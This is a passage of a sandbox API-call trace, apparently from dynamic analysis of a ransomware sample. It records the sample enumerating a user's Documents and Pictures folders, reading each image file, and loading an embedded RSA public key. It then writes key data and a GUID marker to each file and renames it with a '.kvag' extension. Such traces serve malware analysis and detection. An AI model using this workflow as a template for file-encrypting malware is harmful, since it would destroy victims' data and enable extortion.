ftLastAccessTime.dwHighDateTime=0x1d4cfd1, ftLastWriteTime.dwLowDateTime=0x18b5a920, ftLastWriteTime.dwHighDateTime=0x1d4cfd1, nFileSizeHigh=0x0, nFileSizeLow=0x6a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V8CZiiS8yq6173-jiD.mp3", cAlternateFileName="V8CZII~1.MP3")) returned 0 [0119.818] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0119.818] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0119.818] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0119.818] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0119.818] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.818] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.818] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.818] PathFindFileNameW (pszPath="") returned="" [0119.818] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43cc9d90, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x18b5a920, ftLastAccessTime.dwHighDateTime=0x1d4cfd1, ftLastWriteTime.dwLowDateTime=0x18b5a920, ftLastWriteTime.dwHighDateTime=0x1d4cfd1, nFileSizeHigh=0x0, nFileSizeLow=0x6a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V8CZiiS8yq6173-jiD.mp3", cAlternateFileName="V8CZII~1.MP3")) returned 0xffffffff [0119.818] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0119.818] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0119.818] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0119.818] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.818] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.818] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.819] PathFindFileNameW (pszPath="") returned="" [0119.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43cc9d90, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x18b5a920, ftLastAccessTime.dwHighDateTime=0x1d4cfd1, ftLastWriteTime.dwLowDateTime=0x18b5a920, ftLastWriteTime.dwHighDateTime=0x1d4cfd1, nFileSizeHigh=0x0, nFileSizeLow=0x6a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V8CZiiS8yq6173-jiD.mp3", cAlternateFileName="V8CZII~1.MP3")) returned 0xffffffff [0119.819] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0119.819] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0119.819] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0119.819] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.819] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.819] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.819] PathFindFileNameW (pszPath="") returned="" [0119.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x773e4b30, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x773e4b30, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0119.819] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x773e4b30, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x773e4b30, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.819] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb57e09b0, ftCreationTime.dwHighDateTime=0x1d4c562, ftLastAccessTime.dwLowDateTime=0x7b7ea740, ftLastAccessTime.dwHighDateTime=0x1d4d086, ftLastWriteTime.dwLowDateTime=0x7b7ea740, ftLastWriteTime.dwHighDateTime=0x1d4d086, nFileSizeHigh=0x0, nFileSizeLow=0x3268, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-9kI8q.png", cAlternateFileName="")) returned 1 [0119.819] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-9kI8q.png") returned=".png" [0119.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-9kI8q.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-9ki8q.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.820] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=12904) returned 1 [0119.820] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.822] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3242, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.822] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.823] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x3268, lpOverlapped=0x0) returned 1 [0119.824] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.824] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.824] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.824] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0119.825] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.825] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.825] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.825] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.825] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.825] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0119.825] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.825] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.825] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.825] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.826] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3268, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.826] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.826] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.826] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.826] CloseHandle (hObject=0x61c) returned 1 [0119.827] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-9kI8q.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-9ki8q.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-9kI8q.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-9ki8q.png.kvag")) returned 1 [0119.829] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c412980, ftCreationTime.dwHighDateTime=0x1d4c587, ftLastAccessTime.dwLowDateTime=0x37f390e0, ftLastAccessTime.dwHighDateTime=0x1d4caa9, ftLastWriteTime.dwLowDateTime=0x37f390e0, ftLastWriteTime.dwHighDateTime=0x1d4caa9, nFileSizeHigh=0x0, nFileSizeLow=0x12ce1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5eZyg.gif", cAlternateFileName="")) returned 1 [0119.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5eZyg.gif") returned=".gif" [0119.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5eZyg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ezyg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.829] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=77025) returned 1 [0119.829] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.830] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12cbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.831] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.832] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x12ce1, lpOverlapped=0x0) returned 1 [0119.833] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.833] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.833] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.833] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0119.834] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.834] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.834] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.834] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.834] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.834] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0119.834] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.834] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.834] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.835] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.835] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12ce1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.835] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.840] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.840] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.841] CloseHandle (hObject=0x61c) returned 1 [0119.842] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5eZyg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ezyg.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5eZyg.gif.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ezyg.gif.kvag")) returned 1 [0119.856] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb346f8f0, ftCreationTime.dwHighDateTime=0x1d4ce77, ftLastAccessTime.dwLowDateTime=0xbbc0d4f0, ftLastAccessTime.dwHighDateTime=0x1d4c5e0, ftLastWriteTime.dwLowDateTime=0xbbc0d4f0, ftLastWriteTime.dwHighDateTime=0x1d4c5e0, nFileSizeHigh=0x0, nFileSizeLow=0x11b1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8WI455-IeTtDu5ufHo.bmp", cAlternateFileName="8WI455~1.BMP")) returned 1 [0119.856] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8WI455-IeTtDu5ufHo.bmp") returned=".bmp" [0119.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8WI455-IeTtDu5ufHo.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8wi455-iettdu5ufho.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.857] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=72479) returned 1 [0119.857] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.859] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11af9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.860] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.861] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x11b1f, lpOverlapped=0x0) returned 1 [0119.862] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.862] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.862] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.862] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.862] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.863] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.863] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.863] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.863] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.863] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.863] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.863] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.863] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.863] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.864] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11b1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.864] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.864] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.864] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, 